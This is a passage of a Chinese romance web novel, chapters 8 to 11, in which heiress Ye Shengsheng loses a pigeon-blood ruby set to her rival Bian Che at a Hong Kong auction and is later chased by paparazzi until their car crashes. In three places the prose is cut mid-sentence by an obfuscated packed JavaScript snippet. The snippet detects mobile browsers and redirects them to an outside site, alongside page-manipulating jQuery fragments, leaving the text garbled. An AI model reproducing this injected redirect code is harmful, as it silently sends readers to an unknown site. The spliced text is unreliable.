边澈直起身子重新靠回椅子,打火机在掌心转了几圈,他用指节敲击桌面:“你手机再借我一下。” 彭宇心头没来由地发慌,难道两人用他的手机暗度陈仓? 酒店房间里的那个男人给他带来不小的冲击,这个悬在YYBB头顶的大雷,万一哪天炸了,后果不堪设想。 即使再心不甘情不愿,他还是把手机解锁,然后双手奉上。 边澈抓过手机,打了一行字过去,然后当着彭宇的面,点了发送。 「发送失败」 对方把老板拉黑了?彭宇的眼珠子差点掉出来。 没想到在这场恋爱中,老板竟然是卑微的一方。他大力地盯着边澈的脸,下意识地盯着他的表情。 细碎的光晕下,边澈舔了舔唇,反倒是笑了。他唇角一寸一寸扬起,大发慈悲地宣布—— “下班。” 8. 第 8 章 京韵别墅是京市首屈一指的富人区,空中俯瞰的话,绿化率堪比城市公园。 而且别墅之间的间距很远,在各种珍贵树荫的掩映下,私密性绝佳。 劳斯莱斯拐进宽阔的内部路,黑金楼空大门缓缓开启,车子在庭院里停好。 “大小姐回来了。”四个佣人在门口迎接。 大门开着,别墅内隐隐传来电视声和说话声,叶声笙换好拖鞋就看见叶淮笙坐在沙发上喝茶,茶几上还放了一叠厚厚的文件。 电视上播的是最新的韩剧,阮晴岚坐在按摩椅上,眼眶红红地盯着屏幕,投入得很,连她进门都没有发现。 于是口气不太好地唤了声:“我回来了。” 连称呼都没有,可见是真的生气了。 叶淮生放下茶杯,顺手摘掉老花镜,露出一个慈爱的笑:“谁惹我们家大小姐了?” 他穿着藏蓝色睡衣,随意地靠在沙发上,面容刚毅俊朗,鬓角的白茬泄露了年纪,可能是出国半个月,没来得及染发。 叶声笙的长相随父亲更多,她把手包掷到沙发上,嘴巴翘得老高:“你老婆惹我了,我遇到这么大的事情也没见她着急上火,现在对着一个韩国欧巴抹眼泪!” 阮晴岚终于把注意力从深情欧巴中暂时抽离,从按摩椅上起身,朝叶声笙走过来,特别夸张地给她一个拥抱,红唇跃出激动的话语:“我的宝贝,妈妈想死你了。” 岁月不败美人,阮晴岚就是老天爷赏饭吃的那种。 五十出头的年纪,看起来只有三十多岁,因为有四分之一的葡萄牙血统,皮肤很白,五官比叶声笙还要深邃,是典型的浓颜美人。当年叶淮生给母校捐款的时候,对负责接待的阮晴岚一见钟情,随后就展开了激烈的追求。 若是别人,在这种顶级豪门的攻势之下,早就沦陷了。可惜阮晴岚从小受外婆影响,崇尚莎士比亚式的爱情。叶淮生追了整整一年,才靠淋暴雨装苦情打动她。 总之,两个人的爱情故事特别狗血。 叶声笙站在原地翻了个白眼,阮晴岚靠这些拙劣的演技拿捏了叶淮生一辈子,现在又想来PUA她。 心里虽然不满,手臂还是不由自主地环上她的腰,抱了会儿,气儿还是顺不下来:“我都发生这么大的事儿了,你们两个还像没事人一样……” 阮晴岚在她背上拍了拍,很快收回手臂,视线在她身上上下打量:“脸色不好,人怎么还瘦了?” “不过”,她话锋一转,朝她眨了眨眼睛,“正好我看秀的时候,有两件高定是XS码的,我想着不能穿挂在衣帽间也开心,这回可便宜你了。” 阮晴岚的心到底是有大,才能在这个时候,只关心她能不能塞进那件超小码的礼服。 叶声笙秀眉泛起涟漪,生无可恋地瘫在沙发上,红唇发出婉转的抱怨:“爸爸,你看妈妈呀?” 叶淮生老婆奴一个,要不然阮晴岚也不会是这种没心没肺的性格,忙给老婆递台阶:“祝向南上午带着祝泽来了,你妈妈没给他们好脸色。” 叶声笙怀里抓着一个抱枕,盯着某个虚无的点,唇角抻平:“他们家怎么说?” 叶淮生慢吞吞地坐直,又喝了一口茶,每个动作都带着儒雅:“还能怎么说,带着祝泽负荆请罪,说任凭你处置。” 她下意识地抱紧抱枕,冷哼一声:“说得好听,我想找八个保镖揍他一顿,祝伯伯能同意吗?” 沙发微微弹动,阮晴岚也坐下了,跟她同仇敌忾:“对,就应该揍他一顿。” 叶淮生说:“爸爸知道你的意思了,需要给祝泽一个教训,但不是现在。” 两家的利益现在是捆绑的,没有拆分之前,撕破脸的事情不能做。 叶声笙抬眼看他:“婚约怎么办?” “当然是取消。”阮晴岚回得飞快,她从来都是感性的,才不管什么生意上的弯弯绕绕。 “当初也是看他追得殷勤,你对他也不反感,我才同意的,现在他烂黄瓜一个,凭什么追求我的女儿? 叶声笙蹙起的眉头终于舒展,看叶淮生,这种大事还得她爸爸拍板。 叶淮生在她殷切的目光下,点头。 悬在心口好几天的石头终于落下了。 叶声笙整个人都轻松了,挎着阮晴岚的手臂:“妈妈,你买的礼服在哪?我想试试。” 至于边澈,她昨晚已经想明白了——什么照片勒索七千万?他家大业大的,总有办法全身而退。 所以,三天之约见鬼去吧。 不仅如此,叶淮生为了补偿宝贝女儿受到的委屈,次日就帮叶声笙定了飞香港的机票,让她去佳士得拍自己喜欢的珠宝。 生意场上的风风雨雨没必要让她们母女知道,叶氏在欧洲的轻化工项目全靠祝家注资,一旦解除联姻,资金缺口很大,他得寻求新的合作方。 …… “我对于某个人一旦没有了好感,就永远没有好感。” 低沉的男声敲打在耳边,叶声笙在飞机失重的颠簸中惊醒。摘掉眼罩,刺目的光线撞进眼底,她缓了缓紊乱的心跳。 头等舱的屏幕上的电影还是《傲慢与偏见》,正播到达西口反驳伊丽莎白的那段,叶声笙晃一眼时间,手机自动解锁了,页面是睡前浏览的那套红宝石珠宝的照片。 空姐听见她这边的动静,过来宽慰道:“没什么事儿,遇到气流了。” “哦。”黑眸蒙着一层水雾,鼻翼上的小痣性感娇俏,反应也比平时慢了半拍。京市到香港四个小时的航程,叶声笙一上飞机就睡了,这会儿还没有醒透。 空姐蹲身询问:“还有半小时就落地,要不要吃点东西?今天的鱼子酱很新鲜。” 言语间的殷勤,昭然若揭。 这位大小姐把头等舱的六个位置都买了,就是怕被别人影响休息,足见豪气。 叶声笙正好有点饿了,唇角翘起一个弧度:“好。” 她跟空姐点了一杯香槟,又很赏脸地吃了两口飞机力荐的鱼子酱,就去更衣室补妆了。重新回到座位上的时候,手机屏幕还亮着,一下收到了五六条消息,全都是她的好闺蜜付芷橙的。 「非洲狮.jpg」 「非洲象.jpg」 「花豹.jpg」 「非洲水牛.jpg」 「犀牛.jpg」 「啊啊啊啊啊啊,笙笙,我终于集齐非洲五霸了」 叶声笙无视对方的兴奋,面无表情地敲下几个冰冷的字:「你高兴就好」 付芷橙求生欲很强,知道大小姐还在生气,直接把语音电话打过来:“笙笙,对不起呀,你这次太临时了,我下次一定陪你去香港。” 叶声笙抵着额,“用不着道歉。”她又没打算原谅她。 这话一听就带着情绪。 “我给你带礼物,你想要什么尽管开口……不过犀牛角和象牙肯定不行……” 沉默半晌,叶声笙还保持着原来的姿势,云淡风轻地说:“既然你这么有诚意,那就路过南非的时候,帮我买点美甲用的碎钻吧。” 用真钻石美甲? 付芷橙听得后颈僵硬,又不能反驳,只能苦兮兮地应下。 她兴致勃勃地分享了角马迁徙的壮观,见叶声笙始终没什么反应,突然话题转到圈子里的人:“我今天刷朋友圈,你说巧不巧,边澈……” “啪嗒。” 没有一丝防备,通话倏地切断。 与此同时,头等舱的座位上,手机被当成发泄物掷到一边,叶声笙别头看窗外,三秒后还是没忍住,翻了个白眼。 为什么要提那个人的名字? 晦气! 八月末的港城,酷暑难耐,天文台预报傍晚会有阵雨。 The Henderson大厦七楼,佳士得瑰丽珠宝秋拍正在进行,这是独属于金钱玩家的高端游戏,流光溢彩的珠宝饰品在竞价中移物易主,从艺术品变成一串数字。 叶声笙到场的时候,拍卖已经进程过半。 她目不斜视地穿过门廊,高跟鞋被厚厚的地毯吸音,没弄出一点动静儿,反而是叠戴的手镯叮当脆响,吸引了不少惊艳的目光。 位置上的冷气很足,叶声笙只穿件无袖上衣,工作人员贴心地送来毛毯。 她晃一眼腕表,时间刚刚好。 正想着,大屏幕切换到下一件拍品,拍卖师的声音响起:“本场拍卖的最后一套拍品,是缅甸无烧玻璃体鸽血红红宝石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14606534|156067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”伴随着详尽的介绍,红宝石的细节在屏幕上放大。 红宝石的四周环绕榄尖形和梨形钻石,晶体纯净,火彩满溢,很快吸引了买家的注意力。 拍卖师很快报价:“起拍价3000万。” “3200万” “3400万” …… “3800万” 各个角落不断有人出价,价格被实时刷新,因为是现场直播,网络出价的买家也不少。 叶声笙扬起细白的手腕,举牌:“4000万。” 这件拍品是她今天的目标。 不仅因为它是一套无烧的鸽血红红宝石,还因为这套珠宝蕴含的数字密码都跟她有关。戒指6.2克拉,项链是26颗,而她是六月二日生的,巧合得像为她量身定做一样。 不过,因为这套红宝石是本场秋拍的封面拍品,竞争很是激烈。一直到了六千万,竞价的人才渐渐少了,最后就只剩一个人跟她竞价了。 男人是拍卖行的专业代拍,电话始终挂耳侧。 叶声笙纹风不动地坐着,眼风都没给他一个,频频举牌。 拍卖官:“八千万,拍品回到这位女士手中,还有没有人加价?” “八千五百万。”电话买家没有任何迟疑,显然在价格上游刃有余。 按照竞价阶梯,此刻的每一次加价,都是五百万起。周遭有小声的窃窃私语,不少人朝她的方向侧目。 几千万拍套首饰而已,这对叶声笙来说,不算什么稀罕事,她眉梢无任何起伏地加价:“ 九千万。” “九千五百万。”对方又给了新报价。 叶声笙充耳不闻,再次举牌。 拍卖官:“一亿,重新回到场内。” 而对方没有举牌,直接做出一个惊人的手势。 ——点天灯。 现场传来阵阵惊呼。 叶声笙半垂着视线,柔润的红唇轻咬着,知道自己要和这套红宝石失之交臂了。 “一亿两千万,一次。” “一亿两千万,两次。” “一亿两千万,最后一次出价。” “恭喜这位电话买家。” 成交捶重重落下,像是砸在叶声笙的心脏上,她抖落身上的披肩,起身离开。 这会儿正是拍卖会散场的时间,人流鱼贯而出,她不想被来来回回的视线打量,戴好太阳镜,在门外找了个没人的角落等司机。 三十七八度的天气,正值晚高峰,The Henderson大厦门前开始堵车。 而叶声笙恹恹的。 心头好被人抢走,心情差到难以形容。 有刺耳的轰鸣声响起,她蹙着眉头看过去。 全黑的柯尼塞格一头扎进花坛和宝马中间的空隙,在很窄的空间里调头,挪了三次,最后几乎是贴着花坛溜出来的,周围人看得心惊肉跳。 这是什么烂车技? 就在叶声笙收回视线的当口,蝶形门缓缓升起,男人姿态懒散地迈着长腿下车。 他倚着车门打电话,T恤领口被风吹动,夕阳的光线勾勒出他的轮廓,鼻梁高耸,下颚线棱角分明。 涌动的人群妨碍了叶声笙的视线,抬起墨镜腿,眯着眼睛看过去—— 边澈。 这个男人怎么阴魂不散的? 叶声笙下意识的反应就是把太阳镜重新拉回到鼻梁,扭头往相反的方向走,然后躲到柱子后面——一个边澈看不到,但是她可以偷偷观察的角落。 她才不是怕他,只是不想给他的丑闻负责而已。 那时候,火烧云的颜色突然加深,空气变得更加闷热。 一个男人从大堂步出,匀加速地跑到边澈前,手里还小心翼翼地捧着一个盒子。 那个男人不是别人,正是跟他抢拍的那个代拍员。 隔着不远不近的距离,边澈挂了手里的电话,然后在众目睽睽之下打开了首饰盒。 寂寥的光线里,鸽血红的折射仍然晶莹刺目,映得叶声笙的眼睛更红了。 没有丝毫犹豫,她立刻调整成战斗喷火模式,提起膝盖过去,清脆的高跟鞋声在车门前戛然而止:“你干嘛抢我的红宝石?” 9.第 9 章 港城的右舵车,边澈开得不太顺,下车的时候还带着一丝燥。 他手里拎着半瓶矿泉水,旋开盖子喝一口,再用抛掷的形式扔回副驾驶。 柯尼塞格本就扎眼,更别提车的主人还是个身高腿长的帅哥,周遭瞬间集满了浮躁的注目礼。 车门还竖在身后,拍卖行的工作人员已经风尘仆仆飞奔过去,用着蹩脚的港普邀功,而这位内地来的矜贵公子表情始终淡淡的。 天气实在是太热了,空气如凝固了一般。 边澈后颈很快覆了汗,他左手插口袋,三心二意地听拍代拍人员说话,身上有股心无旁骛的慵懒痞气,合身的白T黑裤勾勒出带感的身段。 他最近心情不太爽。 下个月是奶奶的八十大寿,他妈妈又拿一堆名媛的照片出来让他挑几个去相亲,还美其名曰——最好的寿礼就是孙媳妇。工作已经够忙了,还要跟一群假面美女吃饭,他倒是宁愿去享受某个傲娇精的白眼,可惜对方一直躲在老鼠洞里,抓不到人。 边澈除了第一天亲自把艳照送上门之外,没做什么其他的举动,因为他了解叶声笙,光是一个他被人讹诈的消息,就足以让对方夜不能寐了。 来港城给奶奶拍寿礼,纯粹是为了躲避家里的唠叨,完全没想到在这儿碰到叶声笙。 边澈掀起眼皮,眸底闪过一丝意外,漆黑的眼睛攫住她,唇角不自觉上扬,“你怎么在这儿?” 躲了两天的小老鼠就这样送上门来,他不知道是自己运气太好,还是叶声笙运气太差。 叶声笙抱臂站在他面前,鼻梁上架着副太阳镜,蓬松的长发随意地绾在脑后,有几缕碎发落在纤白的颈间,羊脂白玉似的。 他还记得那片肌肤有多么娇嫩,多么容易留下印子,喉咙不自觉地上下一滚。 叶声笙看不到他脑里的黄色废料,视线不受控地扫了那套红宝石一眼,话里的危险意味儿极重:“这句话该我问你吧?” 她才不信这种天杀的巧合。 边澈琢磨出这话的意思了,他手指微微使力,当着她的面“咔”的一声合上首饰盒的盖子,唇角翘起一个弧度:“你现在的表情会让我怀疑,我不是合法拍卖,而是打劫了珠宝行……” “你又不懂珠宝,买回去做什么?”叶声笙看他愈发不顺眼,连带语气也变得嫌弃。 边澈确实对珠宝没什么深刻的研究,就随手选了封面拍品。 红色的,喜庆。 哪知道一直跟他抬价的人会是她。 他像是听不懂她的讽刺,脸上没有任何波澜地附和:“我确实不懂珠宝,不过你跟我奶奶倒是审美挺统一的……” “你给我重新说。” 这句话毫无意外地把叶声笙逼急,她用包砸他,被他躲了空。 边澈假装咳嗽了两下,金贵的身子往车门上一靠,装得像模似样:“我买来投资,行不行?” 资产保值是这样的,除了房产车产,珠宝和艺术品的投资也是重要的投资项目。 但是边澈显然是在胡说八道,边家在香港有家族办公室,资产管理和商业开支都有专人进行规划,真要投资怎么可能让他现场“点天灯”。 他倦懒的嗓音酥酥麻麻地绕在耳廓,听起来像挑衅。 要是以往,叶声笙可以立刻黑脸走人,可为了这套鸽血红—— 她忍。 两人在烈日下对视,叶声笙将额前碎发往后捋,换上一副难得的好口气:“这套首饰我很喜欢,你能不能让给我?” 边澈还是懒散地站在原地,拇指和食指捻了几下,眉头轻微隆起,像是很为难的样子。 叶声笙等得都快没有耐心了,他才玩心大起,上前一步,把两人之间的距离缩成半步,慢悠悠地伸出两根手指:“既然你这么有诚意,那就一亿九千万吧。” 这简直是狮子大开口,叶声笙脸色一下就沉了,隔着太阳镜瞪他:“你怎么不去抢?” 这人惯会耍阴招,转手就加价七千万。 边澈以一种无所谓的语气摊摊手:“反正我也不是很想卖,再说了,你本来就欠我七千万,我这是一分钱都没赚的良心价。” “混蛋。”她双颊着玫瑰般的韫色,不知道是晒的还是气的,整张脸更加明艳动人。 高跟鞋旋过一个干脆的一百八十度,叶声笙转身就走,她眉心蹙起,胸腔起伏,觉得再呆一秒人就要爆炸了。 还没走几步就边澈拉住手肘扯了回来,她心火涌得厉害,没什么耐心地甩开他:“你干吗?” 边澈也不知道自己有什么大病,每次看她炸毛,心情就好得不得了。 阳光落在她的发丝上,闪着细碎的光,他好整以暇地垂眸,嗓音里带着谑色:“就这么走了,鸽血红不要了?” 叶声笙凉凉地看他:“一亿九千万!我看起来很像冤大头吗?” “谈钱真伤感情”,他饶有兴致地扯了下唇,“你也知道,我这人向来喜欢乐于助人” 叶声笙盯着他的表情,耐着性子听他胡说八道,白眼在太阳镜的遮挡下,都快翻到天上去。 边澈拽过她的手,嫩白的掌心带着汗,他把首饰盒往她手里一塞:“这是我奶奶拍给孙媳妇的,你想要就拿去。” 这是什么恐怖故事? 叶声笙半边身子都麻了,把他的手拍掉,连带着首饰盒也不要了,“我不要。” 边澈挨近她,压低音量:“她老人家就是看见了我和你去酒店开房的视频,才让我拍个礼物,回头要去你家登门提亲。” 叶声笙快要疯了,骂他:“你有病。” “我也没办法,罗子明还把那些照片寄到了老宅,我奶奶心脏不好,差点厥过去。我怎么解释都没用,只能牺牲你了。” 他的语气里带着无奈:“毕竟这件事情,你难辞其咎,我要是真出柜了,保不准就得出人命。” 边澈家里多宝贝他,叶声笙是清楚的。他不是独生子,还有一个哥哥叫边江,患有先天性心脏病,常年在国外静养。家里人虽然心疼边江多一些,但要说看重,那肯定是边澈。 她有瞬间的心虚,不过又很快强装镇定,“恶人自有恶人磨,我才不信你解决不了罗子明。” “七千万不多,但我不想留一个把柄在外面”,边澈慢悠悠地直起身子,像是已经深思熟虑过了:“我们俩这种家庭,将来肯定是要联姻的,反正都是没有感情,不如凑合凑合。” 她无言以对,眼里充满抗拒,“谁要跟你凑合,我讨厌你……” 停车场传来一声车鸣,叶声笙的商务车到了,司机看到了两人的动静,以为她遇到什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14618150|156067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么纠缠,动作麻利地解安全带下车,而边澈还是那副悠哉的样子:“你和祝泽的婚约还没取消,叶叔叔今天就去了擎天集团拉投资,你猜他为什么要背着你做事?祝家的资金缺口不是谁家就能填得上的……” 两人的视线紧紧相依,他看着她眼底的慌乱,继续刺激她:“这么想想,是不是也没那么讨厌了?” 叶声笙不答,而司机终于走到跟前,视线在两人之间辗转:“叶小姐,你没事吧?” “没事。” 她别过头,不再看他,压着气上车。 边澈站在原地,看着车子启动拐出停车场,叶声笙的侧脸从身前疾驰而过。 他把首饰盒随意地丢进置物槽,目光微转,就看见拍卖行的代拍战战兢兢地站在一旁,像是窥探到了什么了不得的八卦一样。 他眼皮掀起浅浅一层:“有事?” 代拍挠了挠头,问:“您和那位女士认识?” 边澈不太走心地应了一声。 代拍啧一声,有些可惜:“早知道,您二位通个气,也不至于把价格抬这么高。” 边澈盯着他,像是想到了什么:“下次拍卖行有好的珠宝,提前联系我助理。” 一路上走走停停,丰田阿尔法内一直很安静。 叶声笙面无表情地看着窗外,鳞次栉比的高楼依次划过,脑子里不知道在想什么。 酒店并不远,就在维多利亚港,可港城的交通实在是糟糕,短短一段路,司机开了近一个小时才把人送到。 叶声笙下了车,办理入住的空隙拿出手机,习惯性地给叶淮生发了条微信【到酒店了】,后面跟了一个定位。 房间是一早就订好的,能俯瞰整个维多利亚港。 叶声笙放好行李,就去卫生间放水泡澡,她拿掉发夹,用手指顺头发,另一手三心两意地刷手机。 过了一会,水声渐渐变小,浴缸的水已经装满一半,而叶淮生还没给他回微信。 按照以往,几个小时不回消息,她也不甚在意,可今天不同,边澈的话鞭笞到了她的神经,开始不由自主地胡思乱想。 和祝泽解除婚约,真的会对叶氏造成那么大的影响吗? 叶声笙随手关了水龙头,进浴缸,温热的洗澡水瞬间覆上来,她开始在百度上搜索。 关于两家合作的新闻就有十几页,可见当初签订合同时的宣传力度。叶氏是上市企业,有任何风吹草动都会影响股市,她就是再想做一个娇生惯养的大小姐,潜意识里也知道这些事情的重要性。 叶淮生会瞒着她,也会瞒着她妈妈,但有一个人不会。 她捞起一旁的手机,从通讯录里找到“姑姑”备注的号码,按下拨通键。 维多利亚港上有游轮经过。 两声嘟声之后,对面接通,叶声笙清了清嗓子:“姑姑,你在忙吗?” …… “没事,我看爸爸最近特别忙,问他他又不说。” …… “解除婚约,也不用老死不相往来呀,祝家不是也需要叶氏吗?” …… “好的,谢谢姑姑。” 浴室的玻璃上已经雾化,窗外的景色变得模糊不清,她无力地放下手机,没有声响地咬住下唇。 原来边澈说的都是真的。 10.第 10 章 港城天文台报道,气温连续一周在90°F以上,是七年来罕有的高温。 晚七点,光线终于黯淡,天际只剩最后一抹橘红。 叶声笙在酒店用完了晚餐,就换上了平底鞋出门逛街。 海港城的客流量不大,但空调运作得比以往更加忙碌,冷空气垂直灌入商场的各个角落。 C家大秀之后的秋装刚刚在港城上新,为了迎接这位尊贵的大小姐,所有Sales忙前忙后地伺候着。 叶声笙兴致不高,她拨通付芷橙的电话,刚接通就开始吐槽:“真的是出门没看黄历,连飞到港城都能遇到边澈。” 葱白的指尖朝黑色的单肩针织衫一指,亦步亦趋的Sales忙连着衣架一起端下来。 不同于叶声笙的浑身清爽,现在付芷橙整个人都要晒化了。 她去坦桑尼亚看非洲五霸,可不是什么随心所欲的行程,作为一名千万粉丝的旅游博主,此刻正在热气球上俯瞰整个赛伦盖蒂大草原。 手持小电扇电量早已耗尽,付芷橙用手掌在脸前扇风:“这么有缘分,干脆结婚算了。” 叶声笙脚步微顿,语带防备地说:“你是不是听到了什么?” 这种欲言又止的小心思立马被付芷橙察觉,像嗅到了绯闻男女的八卦,整个人都精神了。她给摄像师比了一个暂停的手势,换上讳莫如深的语气—— “什么情况?我应该听到什么吗?上次就觉得你俩怪怪的,你最好坦白从宽。” 真不该自乱阵脚。 叶声笙一心虚,气场就减了三分:“没什么,就是以为你听到了什么乱七八糟的八卦,对了,我正在C家试秋装,试衣间的信号不太好……” 她把蓝牙耳机从耳骨上拿下来,正准备神不知鬼不觉地挂断电话,就听付芷橙气急败坏地抢白:“叶声笙,我连隐私部位长了一颗痘痘都会跟你分享,你要是敢有事瞒我,我们就绝交。” 后面跟着三分钟分量十足的威胁。 叶声笙觉得这件事早晚也得让她知道,她用下巴示意Sales拿了两件衣服、一顶帽子,一双凉拖,就将她们特别刻意地打发走了。 吸一口气,尽量让语气自然:“也没什么,就是去【渡】那晚,不小心跟边澈睡了。” 电话那端传来一阵尖叫,付芷橙的反应堪称天崩地裂,嘴里不停地念念有词,“我的天哪,@#¥@#%¥¥@#,这是什么爱上死对头的狗血剧本啊啊啊啊啊啊啊~” 因为没有多余的手可以捂住耳朵了,叶声笙本能地把电话拿远,耳根一热,面上也微微发烫。 她心浮气躁地说:“你那么夸张干吗,都是成年男女,男欢女爱不是很正常的事情吗?要不要给你叫辆救护车?” 被付芷橙大惊小怪吵得头疼,边澈的脸都开始在脑子里晃。 付芷橙终于找回理智,满身都是八卦劲儿:“正好你跟祝泽取消婚约了,嫁给边澈也不错。不对,这哪是不错呀?要说身家,相貌、工作能力……祝泽给边澈提鞋都不够格!” 大黄丫头继续撬那晚的细节:“就是那方面的功夫,俩人谁更厉害?” 叶声笙羞恼得不行,眼看要发火,视线朝玻璃窗外一扫,人影晃动,一道黑影“嗖”地从眼前消失。 有人在跟踪? 她三言两语把电话切断。 与此同时,C家经理匆匆而来,面色不轻松:“叶小姐,外面有狗仔。” …… 采购的兴致彻底被破坏,她选了三件衣服、两双鞋、三个包,留了酒店地址后,就匆匆离开。 只不过刚迈出C家大门,就有两三个狗仔举着摄像机上来,其中一个男人操着口不太流利的普通话跟她搭话:“叶小姐怎么一个人来香港逛街,祝少没有陪你吗?” 叶声笙不搭理继续走,打电话给司机,让他停好车就进来。 她每年都会来香港大采购好几次,从来没有被狗仔跟过,这应该是祝泽和高雪莹招来的。 晦气。 “系两句啦,仲同个衰人结婚吗?今次嚟香港做的咩?购物定系疗情伤?” “天气咁热,叶小姐你是但讲句,我得就返去交差喇。” 狗仔始终跟着。 叶声笙把耳后的长发拨出来,假装低头看手机,不让他们拍到正脸。 其中一家的那人急了,小跑几步冲到她面前,急刹的时候镜头差点怼她脸上。 叶声笙被他逼停,一言不发地站在原地,面上覆上层怒气。 港城的狗仔没有底线,不管你说了什么,他们都能给你曲解成一场惊天好戏。所以,最好的方法就是不回应,安静离开。 可惜前路被人堵住。 “让开。” 海港城的感应门遥遥开启,一道低冷而倦懒的男声传来。 闷热的空气和刺耳的车鸣从门外挤进来,有清脆的脚步声寂寞回响。 男人白T黑裤,利落的短发带着湿意,身上的风有淡淡的薄荷烟味儿。 边澈半垂着视线,居高临下地看着那几个狗仔,气场有些迫人。 “听不懂普通话吗?别让我再看见你们。” 所有人都站在原地没动,但有人认出他了,发出小小的惊呼,手机和相机再次端起来,竟然比刚才还要积极。 “边先生,点解会嚟港城,你同叶小姐识唔识架?你地系一起呀?” 叶声笙突然有种不好的预感。 来不及细想,她心慌地去抓边澈手腕,压低音量:“快走。” 边澈像是什么都没察觉,五指收拢,特别自然地把她的手反扣进掌心,不太高兴地别头:“要不要他们道歉?” “闭嘴。” 她的手指被他抓得有点痛,两人速度很快地上了车。 边澈绕过车头上了驾驶座,方向盘一打,轰油门上路。 港城的夜,灯火辉煌,偶尔有观光游轮开船的鸣笛声。 叶声笙上了车才发现两人的手十指紧扣,赶忙松开,面皮发烫。 一路霓虹映在车窗上,她从副驾驶的角度看过去,边澈在安静地开车。 往上是鲜明的轮廓和锋利的下颚线,往下是紧绷的手臂和修长的五指,每一个起承转合都浸润在霓虹里,随着明暗交替的光影,散漫而矜贵。 沉默半晌,她忽然开口:“你要开去哪?” 边澈握着方向盘,短促地笑了声:“是你把我拽上车的……” 言外之意是,他怎么知道该去哪? 叶声笙想起自己就住在海港城,没好气地瞪他一眼:“你就不怕那群狗仔拍了照片回去大做文章?” 那些惊悚的标题已经应激性地出现在她的脑袋里了。 #叶家大小姐报复衰男,港城结新欢# #京市豪门又见大风浪 Y名媛和B公子当街拍拖# …… 边澈像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643496|156067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是听不懂她的暗示,好整以暇地扬一分调子:“叶声笙,我刚刚可是救你于水火,就不能说点好听的吗?” 她被噎了一句,不情不愿地收嘴,从置物架中抽一张湿巾擦手。 手都被他抓出汗了。 车载电台播放的是粤语情歌,空气中有清甜的白桃味,是叶声笙发尾精油的味道。 两人沉默一程,这个味道渐渐发酵得暧昧。 她难得寡言,边澈有些不习惯,他侧头看她:“来港城怎么也不带两个保镖?” 叶声笙鼓着腮,大声反驳:“你不也没带?” 夜色里,那张带着愠气的脸蛋格外漂亮。 他喉结微微滚动,视线在路面上:“你不好好缩在乌龟壳里,怎么跑来这种是非之地?” 他恍然:“哦,难道是为了躲我?” 叶声笙草草看他一眼:“少给自己脸上贴金。” 这一眼,还真让她发现了一点端倪。 从海港城到中环,零点之前别指望通畅。 边澈还是开不惯右舵车,走一程,停一程,差点在好几个路口拐错,最后选了条巨堵无比的路。 即使是这样,柯尼塞格左右两条车道也不该有车在同速行驶,貌似还跟了不短的时间。 普通人开车上路,遇到那种叫不上名字且一看就很贵的车,都恨不得躲得远远的,所以—— 这两辆车很不符合常理。 叶声笙缓缓降下车窗,没有了那层深色的挡车玻璃,只一眼就锁定了,是刚刚拍他们的狗仔。 她把车窗合上,特别无语地撇嘴:“那群狗仔怎么阴魂不散的。” 因为边澈和叶声笙忽略了一个很重要的问题,那就是——港城的狗仔是会跟车的。 行速缓慢的车流中,刚刚撂过狠话的两人,像乌龟一样缓慢爬行。 全球限量的顶级跑车柯尼塞格此刻就像一个笑话:每次起步都是霸气的轰鸣,短暂开出去十几米之后,又在原地匍匐。 两侧的摄像机三百六十度无死角地对着他们,叶声笙比任何时刻都要沉默,甚至不想呼吸了。 因为呼吸,就还得活着。 她咬着牙质问:“这跟站在原地让他们拍有什么区别?” 边澈也被堵得快要发火,眉宇间窜着阴鸷,放下车窗,朝对方竖了一根中指。 这反而激怒了对方。 那辆车降下车窗,狗仔把摄像机伸出来,大声对他们喊话。 豪车的密封性很好,声音完全被阻隔,但叶声笙通过口型判断,那句话应该是:“你们两个是在拍拖吗?” 拍个大头鬼。 她把音响的音量调大,朝他发脾气:“你开得是跑车还是乌龟,快点把他们甩开!” 两个人,一个烦,一个燥。 也就是愣了几秒的功夫,“砰”一声响,柯尼塞格撞上了路边的护栏,引擎盖凹进去一大块,隐隐冒着白烟。 索性车速不快。 不过,叶声笙还是被安全带勒得胸口疼,吓得灵魂差点从头顶冲出去,边澈伸出手,下意识护住她后颈。 豪车本就引人注目,周遭已经有其他车停下拍照,隐隐听到有警笛鸣响。 原本一场小打小闹的八卦彻底演变成了社会新闻,甚至可能已经在网络上传播开来。 她坐在副驾驶上冷笑,红唇含讥带俏—— “边澈,你可真是救我于水火!” 11.第 11 章 重新回到酒店的时候,已经过了晚上十点。 电梯里灯光明亮,光可鉴人的镜面上,清晰地映出叶声笙此刻的样子——精致的眼妆已经花了,丸子头也歪了,衣服皱巴巴的。 这辈子都没这么狼狈过。 